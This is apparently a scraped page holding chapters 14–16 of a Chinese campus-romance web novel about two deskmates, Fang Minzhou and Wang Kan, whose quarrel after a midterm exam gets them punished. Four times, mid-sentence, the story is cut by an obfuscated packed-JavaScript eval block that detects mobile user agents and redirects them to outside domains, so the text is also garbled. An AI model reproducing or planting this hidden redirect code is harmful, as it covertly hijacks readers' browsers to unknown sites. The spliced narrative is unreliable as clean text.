写好后,她把稿纸递给欧阳茜,欧阳茜瞄了一眼,“哎哟,写得不错啊。” 方敏周一笑。 于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270962|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在起跑线的王衎听到了广播员声情并茂地说道:“接下来是一篇来自高二七班方敏周同学的通讯稿……” 什么啊,王衎一个激灵,一颗心瞬间被分成了两半用,一只耳朵留意枪声,一只耳朵细听广播。 广播念了没几句,枪声响了,王衎是第三棒,当他听到广播员念完最后一句“高二七班,加油”时,他看见郑彦航正奋力朝他冲来。 接过接力棒的刹那,王衎浑身陡然升起一股难以言喻的兴奋,他几乎是疯了似的往前跑,像是发泄又像是想要证明,耳畔风声呼啸而过,他把接力棒用力地拍在林斯年的手心。 他脱力地撑着膝盖,紧跟着跑来的郑彦航拍了拍他的肩膀,气都喘不过来了还停不了嘴,竖着大拇指,“哥们……跑太快了……” 王衎挥了挥手,直起腰,同其他同学一起往终点线小跑而去,尚未跑近,但能看到林斯年跑在第一个,甩了其他人至少半个身位,在愈发紧凑激动的加油声中,几乎可以说是毫无悬念地率先冲过终点。 “第一!七班第一!” 王衎咧嘴一笑,有些得意,虽然林斯年跑得的确挺快,但也有他第三棒的功劳,哦当然,第一棒和第二棒基础打得也不错。 詹师太也在,王衎和其他三人被团在了中间,他真以为自己要被举起来,然后接力的四个女生也被团了进来,拉进来一个、逃出去一套,混乱的热闹里,率先被大家起哄要抛起来的人却是詹师太。 詹师太的年龄哪受得了这个,王衎笑得不行,实在没力气了,退出来找水喝,这一下他看见方敏周和林斯年站在一旁的铁架子前,不知道在说什么,方敏周递给了林斯年一瓶运动饮料。 王衎发现自己确实笑不动了,秋风吹过,他心想这风还真有点冷,转过身,一时不知道走哪边。 路过的欧阳茜问他:“你找啥?” “啊?哦,外套。” 最后王衎是回到班级营地才找到了他的校服外套。 趁着夕阳正好,大家在绿茵草地上拍班级合影,没有什么高低矮瘦的站位,关系好的贴在一起,王衎无所谓地站定一个位置,郑彦航拉着吴丞过来过来又把他往右边挤了两步。 他前面是方敏周。 她没有注意到他,左顾右盼,是在找人的样子,但欧阳茜在她右边,她还找谁?他跟着左右看,林斯年在正中间詹师太的旁边。 “等会我们摆个心的pose?”欧阳茜问方敏周。 “可以啊。”方敏周说完,看到了孙彤。 詹老师也看到了她,朝她招手:“快来。” 这个时候,方敏周才觉得自己心中的那块石头真正落了地。 其实刚才男子接力跑的时候她就看见孙彤了,当时就还挺意外她会来看比赛的。 “好,全体注意——都向我看齐——”前方负责拍照的老师大声喊道,“我说三二一,你们说什么?” 大家嘻嘻哈哈地笑道:“茄子——” “好,三——二——一——” 咔擦。 周末,班级合照在班级群里发出来前,方敏周先收到了王衎的好友申请,他的网名叫“KAN”,头像是《海贼王》里的路飞。 刚通过,提示音“咚咚咚”响个不停,王衎发来好几张照片,方敏周一想到自己当时用他的相机胡拍,顿时有点脸热,他传来,也就是都看过了。 方敏周看着电脑屏幕,敲下两个字。 方块:谢谢。 KAN:不客气。 14. 第 14 章 有人敲门,不等王衎应声,门就被推开了,“嚯,看电影呢,没打游戏?” “嗯哼。”王衎行得正坐得端,没有被表姐的突袭吓到。 徐静晓把果盘放到桌上,瞄向王衎的电脑屏幕,“你什么时候看起文艺片了?你的美国大片呢?” “随便看看。” “看得懂吗?” 王衎无语:“怎么看不懂。” 不过虽然能看懂,但看得昏昏欲睡,不知道方敏周觉得哪里好看了,还发说说动态。他也是无聊,找来打发时间。 “你妈说你一整天都待在房间里,我还想你能干嘛呢……”徐静晓眼睛扫了一圈,看到王衎的书桌上竟然还有一本从他学校图书馆借来的书,小文青看得类型,不得了,“……你小子不会谈恋爱了吧?” 王衎岿然不动,“你别造谣我。” “真的?” “真的。” 徐静晓半信半疑,突然想起来一件事,“国庆你表舅结婚,冉冉说有个姐姐请她吃东西,说是你高中同桌?” 徐冉这个小屁孩…… 王衎咬了口苹果,用眼神反问表姐:是啊,怎么了? 徐静晓哭笑不得。 说王衎笨吧,他已经没那么容易被套话了,说他聪明吧,这欲盖弥彰的,深怕她看不出有猫腻一样。 她早恋的时候他还在爬呢。 “你作业写完没有?” “等会写。” “马上要期中考了吧。” “嗯。” “认真点知道吧?再考个倒数回来,要把你妈气死。” 没完没了还,王衎仰头哀声长叹,家里亲戚多了就是这么烦人,“知道了知道了——诶,徐冉不也要期中考了吗,她最近成绩怎么样?” 徐静晓毫不留情地拍了他脑袋一下,“吃完盘子拿出来。” 要不是王衎这么不省心,她也犯不着来废话,但徐静晓一只脚都迈出房门了,还是回过头,认真道:“我跟你说,王衎。” 王衎懒洋洋的:“嗯?” “你现在的任务就是学习,你要是成绩好,其他一些事只要你别太过分,我们也不管你,但你要是成绩不好还东搞西搞的,其实别人都不带瞧你的,你自己好好想想吧。” 说完,徐静晓不等王衎回答,关上了门。 世界终于安静了。 王衎继续啃苹果。 咔嚓、咔嚓。 电影的背景音乐欢快明亮,他内心毫无波澜地看主角们在璀璨的舞厅里相拥舞蹈。 好好想想? 都不用想,他能不知道吗? 他倒是想认真复习,奈何运动会结束马上就是期中考,时不我待,王衎久违地有些焦虑,但他心大,一边想着算了,这次不行还有下次,一边也没完全放弃,很用力地抱了佛脚。 运气好,排名进步了,郑彦航直呼他是叛徒。 但方敏周考砸了。 班级第九,对她个人而言的砸。 周三一早全部成绩出来,班会课上詹师太正好分析了下这次期中考的情况,整体来说,他们班考得不错。 “大部分同学都比开学考有进步,说明大家慢慢地也都开始适应高二的学习生活了,这是一件好事,这个势头要保持住,当然——”詹师太换了种语气,“也有部分同学可能考得不太理想,这没关系,接下来要做的是好好总结原因,还有下次机会。” 在王衎偷瞄的几眼里,方敏周始终看着黑板。下午的课她也专注认真,但最后一节自习课,她写着作业,忽然右手撑脸,微微侧背着他和整个教室。 天色未暗,窗外是绿色的树,王衎看不清方敏周的脸,只是她看似在看题,实际好一会儿才把右手放下继续写字。 尽管这一天下来她表现得毫无异常,但王衎觉得,像她这样的好学生们,分数就是他们的hp值,考差等同于挨了一个大招,就算她真的不在意,同类人里她也是一个残血的人。 比如他看她和金柏浩讨论题目,他们对某个答案产生了分歧,金柏浩觉得自己是对的,换做平时,两个人或许会拉上欧阳茜乃至其他人讨论清楚,但这次方敏周没有坚持,说那等老师讲解吧。 金柏浩点头,但忽然像是想起什么一样,神情变得犹豫。王衎猜,他可能是顾虑方敏周的情绪,怕她误会他得意忘形了。 之前方敏周的成绩是他们这几个人里最好的,她比欧阳茜用功、比金柏浩灵活,成绩好理所应当,但这次期中考,不过比金柏浩多几分。 金柏浩自己都非常惊喜。 方敏周倒是装起傻来,以为金柏浩还有问题,金柏浩也就慌慌张张、糊里糊涂说着“没什么”转过身去。 然后,方敏周就收起了表情,反倒冷淡地看了他一眼,王衎也装傻,假装自己什么都不知道。 大家一起演戏,只是他作为同桌离得太近,所以才会窥探到主角演不下去的片刻幕后。 或许是心理作用,王衎觉得方敏周的马尾辫都没平时精神。 下课后,王衎没去打球,去了图书馆还书——他老是忘,再到食堂,用餐高峰期已过,他一眼看到一个人吃饭的方敏周。 王衎打好饭菜后,犹豫了下,还是端着餐盘坐到了方敏周对面,明知故问:“没人吧?” 方敏周抬起眼皮,又揿下,没理会王衎假意的熟络。 她想一个人静静,被王衎打扰很不爽,但连让他别坐这里的话都懒得说。 心情不好,连带着表情不佳,换做别人,她一定不会一副明显考砸了的模样,装也要装得没事,但王衎……算了,反正她刚才自习课的失态他都看到了。 班级第九,年级排名掉到了八十六,这是她考得最差的一次,更可怕的是,方敏周对此毫无预料。 考试的时候虽然感觉到这次难度比较大,但考完试大家都在抱怨,她觉得自己能写的都写了,应该不会太糟糕,当她最没有把握的物理第一个出分而她考得还可以时,她还更放心了点。 结果就这样跌出了班级前五,甚至詹老师班会上那番话可能都是专门说给她听的。 班级前五和前十,年级前五十和前一百,是两个断层的梯队。 方敏周内心产生了极大的恐惧和自我怀疑。 她甚至并没有哪门考得特别差,但就是每门都少了几分。 每个阶段都可能有黑马,有人超越,那就有人是被超越,高一入学时的落差感再一次击中了她。方敏周害怕这就是她掉队的开始,她不知道还有没有机会“证明自己”。 这些内耗的情绪像一大片乌云盘踞在方敏周的头顶,她反思自己退步的原因,如果细究,也能怪罪眼前的人一份。 看方敏周有一口没一口地吃饭,看得王衎有些食不下咽,考虑再三,他还是想要说点鼓励的话,“……其实你考得挺好的。” 方敏周看向他,眉毛皱起。 以王衎对她的了解,她现在估计是认为他在阴阳怪气、落井下石,但他并没有,“我说真的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16270963|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我觉得你不用对自己要求这么高。” 方敏周放下筷子,彻底没了胃口。 她安慰别人是一件事,别人安慰她又是另一件事——她不需要。 而且说是安慰,这么粗鲁,好比直接揭开伤口唏嘘一番再贴上创口贴。这和运动会的遗憾不一样,那是抽空的练习,是重在参与的体验,好坏她都接受,但她更多的、几乎所有的时间,都在学习,为什么还退步了? 要不是他…… 方敏周站起来,王衎见她要走,着急了,奇怪方敏周怎么还是误会了他的好意,他表达得还不够真诚吗?“第九又不是十九,我班级二十九都没有……” “你有病?”方敏周脱口而出。 王衎被这劈头盖脸的一句骂住了。 他知道他们常常斗嘴,知道方敏周对自己有诸多意见,但这段时间相处下来,隐隐的,他又觉得他们的关系没有那么坏,即使他们算不上朋友,至少他可以表示关心。 但原来还是没有资格。 “我考怎么样关你什么事啊?”方敏周怒气冲冲。 觉得方敏周好赖话不分的王衎真的恼了,“不是,就一次期中考你至于吗?你……” “至于,为什么不至于?”方敏周想骂人。 小时候她考试成绩不理想时,会搬出其他同学为自己辩解,爸妈那时候说她:“好的不比和坏的比。” 她那时候委屈,这会儿却更委屈,她是考差了,但还不至于到要和王衎比惨的地步,但碍于场合,她压着自己的声音,“你不学习别人还学习的好吗?” “我怎么不学习了?”王衎急道,“我这次复习进步了好几名你没看到?” 方敏周饭没吃多少,彻底被王衎气饱了。合着到头来他是好端端的,她退步都是她的问题!他根本什么都不知道! 她端起餐盘,身后王衎喊她,她毫不理睬,倒掉剩饭剩菜,揣着一肚子火快步走出食堂。 突然被人从后面拉住了胳膊,方敏周吓得连忙甩开,看清是谁后,更加怒不可遏:“王衎,你到底要干嘛?!” “我……”王衎语噎,但咽不下那口气,势必要和方敏周讲清楚,“我干嘛了,我就是想要安慰你几句……” “谁要你安慰?” 方敏周的嫌弃比耳光还要让王衎感到屈辱,“方敏周,你以为自己很了不起吗?” 方敏周眼睛一热,“对!我就是了不起!” 王衎被震到。 白天越来越短了,六点未到,太阳已经落山,食堂门口这条林荫道上的路灯光线直白冷漠,秋风吹过树梢,王衎忽然冷静了一点。 两个人的情绪都上了脸,他之前虽然也常惹方敏周生气,她瞪他也翻过他白眼,但程度都比不上现在的冷决,好像他做了什么很恶心的事情。 但他没有啊。 王衎心里忽然有说不上来的难受,“我……” 方敏周不想听。 他还想拦住她,话未出口被打断,“……你们俩干嘛呢?” 路灯拉长了人影。 瞬间僵硬的沉默代替了一目了然的冲突,郑彦航看看方敏周、看看王衎,问:“食堂还有菜吗?” 他刚打完球回来,其他人都去小卖部了,但他还是想吃口热乎的饭菜。 方敏周趁机摆脱了王衎。 这次王衎没有再追上去。 “咋了这是,又吵架了?”郑彦航见怪不怪。 望着方敏周远去的背影,王衎不想承认。 15. 第 15 章 从食堂回教室的路上,方敏周一开始在心里骂王衎,骂着骂着,变成了骂自己,然后怨恨悄然转变成自怨自艾。天黑了,她的世界也黑黑的,她走上光线昏暗的楼梯,进入明亮的教室。 有人在看书,有人在小声聊天,其中孙彤在一边吃苹果一边看书。 她这次又是班级第一,年级第三,方敏周无法形容自己的感受。 坐下后,她也翻开书本,但注意力难以集中,越是着急,越是静不下心,像是想要睡觉却失眠的状态。 当务之急,她要放空自己,不应该再多想。 她在想什么呢? 她想,她是不是对王衎太凶了,她其实知道王衎或许没有恶意,尽管没有恶意不代表他就不会冒犯到别人,但是,方敏周无法分辨的是,她是否有迁怒于王衎。 她怎么会觉得,是因为王衎她才考差了?可是她又愤愤,为什么王衎进步了她反而退步了? 她想起一些事情,一些她不以为意或者刻意忽视的事情,一些她有所警觉却悄然接受的事情。 方敏周感到羞惭。 勉强做了几道化学选择题,在其他同学陆陆续续回到教室后,方敏周重新扎了一遍头发,不想被他人看出异样。 王衎回到教室所看到的,就是在认真写作业的方敏周。郑彦航向他使了个眼色,王衎试探性地开口:“刚才在食堂……” 方敏周像没听见一样。 王衎说不下去了。 晚自习铃声响起,方敏周更不可能再搭理他,可她就坐在他旁边。 王衎心里一股气越憋越堵,干脆撕下一片草稿纸,龙飞凤舞写上五个英文字母“sorry”——不管怎么样,他先道歉总没错了吧? 他把纸条放到方敏周的桌上,方敏周写字的动作一停,瞥了眼,但立刻又是“哗啦——”一声翻过书页。 王衎又撕了一张草稿纸。 这次他特意把四边撕得整齐,一笔一划地认真写道:刚才在食堂,sorry。 这次,方敏周拿起了纸条。 王衎心中一松,但还是有点紧张,然而下一秒,方敏周把两张纸条叠在一起撕成了两半。 安静的教室里,纸张被撕掉的声音像细细密密的针脚,微不可闻微不可见,方敏周无视他,把捏在手里的一团碎纸扔进垃圾袋中。 她毫不掩饰的冷漠,让王衎觉得自己的一部分也被撕了扔了。 他恍然他在自作多情。 气球被戳破,留下丑陋的乳胶残骸。他继续往方敏周桌上丢纸条,团成团的,或者折成纸飞机的,有一下没一下的,也许是报复,也许是想要引起她注意,当方敏周忍无可忍扔回的纸团砸到了他的下巴时,他不再笑。 方敏周顿了顿,撇开心中的歉意,她以为这样王衎应该能够消停了,但当她的目光刚放回到试卷上,不知道第几张纸条又飘过来,遮住了题目。 方敏周的情绪比她的理性更快,她像根被点燃的火柴,反应过来时,已经把笔“啪”地拍在了桌上,“王衎,你有完没完?!” 前后左右,齐刷刷的目光。 这一刻,王衎无比清楚他让自己走到了悬崖边上。 议论声嗡嗡滋生,林斯年拍了拍桌子,“安静。” 于是他掉下了悬崖,他拖着音,也是两个字:“没完。” 原有些嘈杂的教室顿时静了静,方敏周瞪大了眼睛。 欧阳茜皱眉喊了声王衎的名字,意思是让他适可而止。 “诶。”郑彦航也忍不住扯了下王衎的校服,小声道,“你干嘛,你刚才在食堂不是说……” “我怎么了?” 这是气头上了,郑彦航瞄了眼方敏周,闭上了嘴,吴丞用嘴型问他话,他也只有摇头。 方敏周的脸因为生气和他人的目光发烫,她的手心也因为刚才的那一巴掌隐隐作痛,她握紧了手里的笔,恼怒难堪之外,还有对王衎的失望。 她都不知道她在失望什么。 林斯年走过来,温声道:“有什么事我们……” “没什么事,班长。”王衎很不客气地打断他。 林斯年一愣,还是笑笑,这已经不是他第一次看到方敏周和王衎起争执,他想的是有什么事情大家可以私下解决,但他再次被打断,“最后一大组,你们两个,出来。” ——通亮的教室彻底鸦雀无声。 教导主任一脸严肃地站在班级后门。 “晚自习,不知道吗?” 站在走廊里,方敏周根本抬不起头,她恨不得找个地缝钻进去。 “刚才不还吵得很凶吗,这个时候哑巴了?” 还是沉默。 几秒钟后,王衎率先认错:“对不起老师,我……” “你刚才往你同桌桌上扔什么?” 王衎舔了舔发干的嘴唇,哑然。 “敢做不敢当?我问你,”主任一字一字地重复,“你刚才往你同桌桌上扔什么?” 晚上的风越来越冷了,方敏周始终盯着自己的脚尖,却感觉得到主任的视线同样在她身上停留。半晌,她听见王衎说,“……对不起老师,是我错了,以后不会了。” “错错错,道起歉来一点不会不好意思,吵什么,我就想问你们吵什么?你们不想学,别人还想学!我从来没有见过在晚自习课上吵架的学生!”主任越说越大声,“我看你们也不想学了,这节课就在门口站着,要吵就继续吵个够,我找你们詹老师聊聊看!” 方敏周惶然抬起头,王衎试图辩解:“老师……” 主任直接离开了。 完了。 王衎紧张地看向方敏周。 其实他无所谓,他被罚站过,不怕丢脸也不怕老师批评,但是……他看到方敏周脑袋快要钻进身体里,王衎从来没有觉得自己这么混蛋过。 为什么变成现在这样?他心慌意乱,他现在怕方敏周真的生他气了。 “方……”他小心翼翼地喊她。 方敏周扭过了脸。 王衎没了刚才叫板的神气,也无法再厚着脸皮硬凑到方敏周面前讨嫌,他一动不敢动,慎而又慎,“对不起,我……” 方敏周猛地转过头,狠狠瞪向他。 王衎怔然。 她脸是红的,眼睛也是红的,像一把染血的刀子,割开了他的喉咙。 “对不起……”王衎失声。 方敏周用力地又转过了头,黑发融入夜色中。 窗旁的同学好奇探头张望,王衎伸手挥斥。秋风若有似无地吹来,他背上一凉,才发现急出了汗。 他们没有在教室门口真的站到下课,因为詹明华很快从办公室里赶来。她大步走来,先是静静地在教室门口站了十秒钟,一句话没说,但这十秒足以把所有不安分子摁下去,随后,她让方敏周和王衎跟她到办公室去。 看着眼前两人一个一脸羞懑、一个一脸愧疚,詹明华语气平静:“有什么要主动说的吗?” “……老师。”王衎痛定思痛,“这件事情是我的问题,是我……打扰方敏周学习,对不起,以后不会了。” 方敏周把视线的落点放在桌角。 “期中考稍微有点进步就飘成这样了?” 王衎继续认错。 “敏周。” 突然被喊到名字,方敏周心一紧,抬起眼睛,应了声。 “陈主任说王衎一直往你桌子上丢纸团,这样的事情发生了几次?”她问。 办公室里只有他们三个人。 “……就今天一次。”方敏周回答。 王衎捏紧了拳头。 詹明华仔细观察两个学生的表情,确认他们是否有所隐瞒。 “好的,”她说,重新看向王衎,“我之前安排你和方敏周坐同桌,是觉得近朱者赤,包括前排的欧阳茜还有金柏浩,但是不是让你打扰他们学习的。” “……老师!”王衎喊完,意识到自己表现得过于慌张,定了定神,“我真的知道错了,以后一定不会再这样了。” “回去把这学期所有古诗词抄五遍。” 王衎一秒迟疑都没有:“好的。” “你先出去。” 王衎一口气还没松懈,又听詹明华让方敏周留下,他急道:“老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16270964|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “我说了,你先出去。” 王衎没有任何回旋的余地。 在王衎走出办公室后,詹明华让方敏周找把椅子坐下。她喝了口水,表情放松了一些,“其实这次期中考考完,我就想找个机会和你聊聊。” 一提到期中考,方敏周本就悬着的心绷得更紧了,但詹老师下一句话瞬间令方敏周鼻头一酸,她问她:“现在心情怎么样,还好吗?” “……嗯。”方敏周说。 “虽然这次成绩排名不如开学考,但你还是要肯定自己的成绩。” 方敏周完全没有想到詹老师是要和她说这些。 “你看啊,再过一个月又是月考,然后马上就是期末,等你们上了高三,还有一模二模三模,考试更多,到时候你考都考不过来。” 詹老师用温和幽默的语气说着可怕的事情,方敏周不知道她是不是在宽慰她,但还是动动嘴角,笑了笑。 “你可能觉得自己好像哪门都考差了,是不是?” 方敏周不好意思地点头。 “但我们换个角度想啊,你只是比自己之前考差了一点,但并没有哪门不及格或者怎么样,这其实说明你每门基础都不错,和有些同学数学很好语文很差比起来,未必没有优势,对不对?” 詹明华说完,留了一点时间让方敏周思考,再继续道:“你呢,学习很认真也很聪明,每个老师对你印象都很好,老师和你说这些,是想你告诉你,老师们其实对你是很放心的,也相信你就算这次没考好、下次可能也没考好,但最后都不会差,因为你是一个对自己有很高要求的学生。慢慢的,一步步来,你会发现自己其实一直都是在进步的,你们哲学书上怎么说来着,进步它不是一条直线,是螺旋地上升,对不对,你也应该对自己更有信心。” 方敏周喉咙里像是卡住了一颗核桃,她找不到自己声音,找到了,也不敢出声,很久很久,她才努力开口,只是那声音还是颤抖的,她说:“……谢谢老师。” “然后呢……老师也要向你道歉。”詹老师又说。 方敏周含泪的眼睛惊诧地看着她。 “我让王衎坐你旁边,只考虑了他可以跟着你们进步,没有考虑到你可能也会受到他的影响,你看,我给你们调个位置,你看你想坐哪里或者和谁坐?” 真的可以换位置了,方敏周却发现,她并没有很开心。 因为她是落败的那个。 她想起一个多月前她信誓旦旦地觉得,王衎期中考一定会考得更差,差到她可以提出换同桌,差到老师都担心王衎影响她学习。 所以,王衎真的影响她学习了吗?所以,在大家的眼里,她也是因为王衎才考差了的吗? 她可以和谁换?和欧阳茜?那这样金柏浩就要和王衎坐同桌了,但王衎还是坐在她后面……而且,万一她换了位置之后还是没考好怎么办? 接踵而至的问题最后,方敏周的脑海中浮现的是王衎离开时望向她的那一眼,歉疚而不安一眼。尽管方敏周知道,他是一个随随便便就可以说对不起且毫无负担的人,一个把道歉的话挂在嘴边却不见真的反思反省的人,可是那一眼,还是重重地压在她的心上。 “……谢谢老师,但……”方敏周欲言又止。 “怎么了?”詹明华没想到方敏周会犹豫,稍作思考,她问,“你是担心没有人愿意和你换吗?” “……也不是,其实王衎平时没有很打扰我学习,刚才……是因为其他的一些事情。”方敏周讷讷,抿了抿唇,她说,“我是觉得我这次期中考没有考好,主要是我自己的原因,和同桌是谁没有关系。” 詹明华看着方敏周,好一会儿,她说:“我知道了,你其实说得对,学习是自己的事情,我主要是看你怎么想的,如果你觉得不用换,那就先这样,但是如果再发生这样的事情……” 方敏周明白。 “有任何问题你随时找我。” 方敏周再次发自内心地感谢:“好,谢谢老师。” 她会考好的。 她会证明自己可以考好的,会证明她不会受到任何人的影响。 16. 第 16 章 方敏周走出办公室带上门,发现王衎居然还在。 办公室旁边就是楼梯,拐过弯另一边是教室,他靠墙垂头站在阴影里,发现她出来,一双眼睛立刻紧盯过来。 方敏周现在冷静下来后,虽然怒气没有完全消散,但不免有些尴尬。 王衎张了张嘴,想说什么,又似乎在等她先开口。 但方敏周并没有什么好和他说的,她从他面前走过。 王衎跟上,“……老师和你说什么了?” 方敏周没理他。 “老师也罚你抄写了吗?”他又问,第一句话说出口后就流畅了,“我来写吧,我可以模仿你的字迹。” 方敏周走下楼梯,王衎没多想,几步跃下台阶在转角处堵住她。 方敏周差点一头撞上去,不禁又恼道:“你干嘛?!” “我——”王衎喉咙里发出短促的音节。 他在门口等得这会儿千思百转,总而言之是后悔,怕老师骂方敏周,也怕老师要调换他们两个的位置——他听出詹师太有这个意思,但他不想换,他…… 第一节自习课还没有结束,秋深了,几场雨后,校园里的桂花谢了一地,空气里再没有甜腻的香味,虫鸣衰弱,只有风吹树叶的声音,但随时可能会有人经过。 方敏周不想和王衎纠缠,她往左走,但王衎也往左,方敏周再往右,王衎也往右。 她在班里算个子比较高的女生,但咫尺的距离下,王衎比她高半个头的身高和更宽厚的肩膀,都让她感到危险。方敏周几乎能听见自己心里怒火燃烧尖叫的声音,她再瞪向他,他先是不甘示弱,忽然垂下眼,又看过来,犹犹豫豫地问:“……我们还是同桌吗?” 他躲闪别扭的神情令方敏周发狠的目光一时间竟无处安放。 “……我不想换位子。”他又说。 方敏周不明白他说这话是什么意思。 她不想明白。 尽管他们还是同桌,但她却无法直面回答王衎的问题。她已经决定了,她要和王衎划清界限,“……你以后没事不要找我说话了。” 有些话,说出口才会觉得是伤人的,但覆水难收。那种压迫感再次当面盖过来,方敏周绕过王衎。王衎没动,就像他身后那堵光影斑驳而沉默的墙。 方敏周回到教室,有同学好奇偷看。 直到第一节晚自习下课,方敏周旁边的位置都是空的。 和上次从医务室回来一样,她又收获了一波关心,林斯年也来问她有没有事,她摇头笑笑,带一点点自然的不好意思,藏起剩下的丢脸的羞耻感。没人知道她和王衎之间具体发生了什么,她也不想说,通通含糊掩过。 大家也不在意,因为默认是王衎的错,她是无辜的受害者。 方敏周看到垃圾袋里的纸片,其实……还是有小小的愧疚。 “那詹老师叫你们过去……”欧阳茜关心。 “詹老师没说我什么。” 欧阳茜惊讶:“也没说王衎?” “……老师让他罚抄古诗文。” “这还差不多,搞不懂他在干嘛。” 金柏浩难得也在一旁附和,教导主任出现的时候吓了他一跳。 郑彦航摸摸鼻子,问:“王衎人呢?” “是哦,他人呢?” 方敏周不知道。 第二节晚自习开始王衎也没有回来,中途詹老师来过教室,发现了王衎逃课,但没说什么。 铃声倒数第三次响起,方敏周去接水,回来时她的桌上多了一个白色塑料袋和一个红苹果,塑料袋里是一盒止痛药和一袋未拆的卫生巾。 方敏周看向孙彤,她的背影一如既往,在旁边人或是聊天或是走动下的对比下,几近静止。 方敏周把东西收起来。 第三节晚自习,王衎回来了。 椅子被慢慢拖开,与地面摩擦的声音被拉得很长,像是某种迟疑。方敏周仅仅只是笔尖微滞,始终端坐着,忽视所有看向她和他们的视线。 王衎坐下后,确认这副桌椅确实还是他的,还没想明白怎么回事,后背被笔戳了下。他回头,郑彦航冲他使他看不懂的眼色,吴丞用嘴型问他去哪了,王衎耸耸肩。 他没去哪儿,就是在学校里游荡了一圈。 一中小树林众多,藏匿着逃课的男男女女,他撞见了几对,最后到篮球场后方寻了处清静。那儿有一条沿湖的小路,他想打水漂泄愤,但隔着远远的湖堤,只能听见黑夜里“扑通”一声。 他把能找到的石头都用力扔进了湖里。 好像心情好了点。 好像没有那么伤心了。 方敏周说话真难听真狠,他想。 但现在是怎样,不换位子了? 他本来还想,他不在,要换也换不了,后来想明白他误入了掩耳盗铃的陷阱,再一想,可能是方敏周搬走。总要回来,却没想到无事发生。 那她说那话是什么意思,难道是继续坐同桌但是不准和她说话? 他看了方敏周一眼,又一眼,方敏周可能是察觉到了,换做以往,她大概是会扭头警告他,不像现在,视若无睹。 他的心是那片夜湖,坠着沉不到底的石头。 第一节晚自习虽然大半毁了,方敏周还是写完了今天的作业。她用剩下的时间完整分析了一遍她的期中考试卷,不知道是什么原因,她的理科基础题失分多了些,加上难题多,这一部分得分率也不高,其实是很严峻的问题,语文和英语倒是还好。 方敏周打算把之前的习题全部重新刷一遍,再买本中难题练习册,主要是看大题的解题思路。定好新的学习计划,今天的最后一道铃声已经结束有一会儿了,教室里的人寥寥无几,她看到孙彤还在位置上学习。 再见到这一幕,方敏周的心态平和了许多。 换个角度,的确会有很多不同的观点,就像如果她承认她与孙彤的差距,然后把她当作学习的榜样,似乎在面对她时会更轻松自如一点。 走出教室,她意外看到王衎的背影,或许是听到声音,他转过头的刹那,方敏周往楼梯口走去。 天气冷起来后,她改为乘公交上下学。 她要乘的公交车站离学校的侧门更近,从教学楼到侧门,会经过一条紫藤花长廊。花落了,叶子还在,方敏周每每经过这条绿色隧道时都会走得慢一些,但今晚她匆匆而过,因为感觉有人跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16270965|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 出了校门直走是一条林荫小路,路的尽头连着繁华热闹的步行街,再右转,就是公交车站。眼看有不少同校的同学在等车,方敏周开始怕王衎继续不管不顾地跟过来,不得不提前停下,转过身。 王衎停住脚步。 相顾无言,方敏周似乎打定主意不会主动和他说话一样,王衎摸了摸脖子,他说不上来现在的感受,气也不是,哀也不是。他看了看不远处的公交车站,问:“你乘几路?” 方敏周不回答,看着他。 “不换位子了是吗?” 方敏周别开了目光,良久,看回来。 是不换了,但原因难以启齿,面对王衎明显的执拗,她忽然有点不确定她这么做是不是对的,她模糊道:“……暂时不换,看之后考试。” 王衎没懂,他这次考试不是进步了吗?还是说,要看他下次还有没有进步,“……那我要考多少名才有资格和你做同桌?” “……不是这个意思。” “那是什么意思?” 方敏周又不耐烦了,她奇怪她怎么又和王衎说上话了? “方敏周。” 方敏周顿住。 这好像是王衎第一次这么严肃叫她的名字。 “你到底讨厌我什么?我成绩不好?还是……” 方敏周果断道:“都讨厌。” “真的吗?” “……”方敏周被王衎直接的质疑问得愣了愣,“当然是真的。” 他望着她。 他们在车来人往的步行街的角落,喧嚣似远似近,像风一样,若有似无地吹过。 某种烦躁焦虑的情绪像是要从方敏周的脚底爬上来。 不知道为什么,她其实无法与王衎长时间对视,可能是他的眉眼轮廓太深,为他的眼神赋予了额外的情感,她起了避开的想法,又觉得是心虚,于是强行迎上。 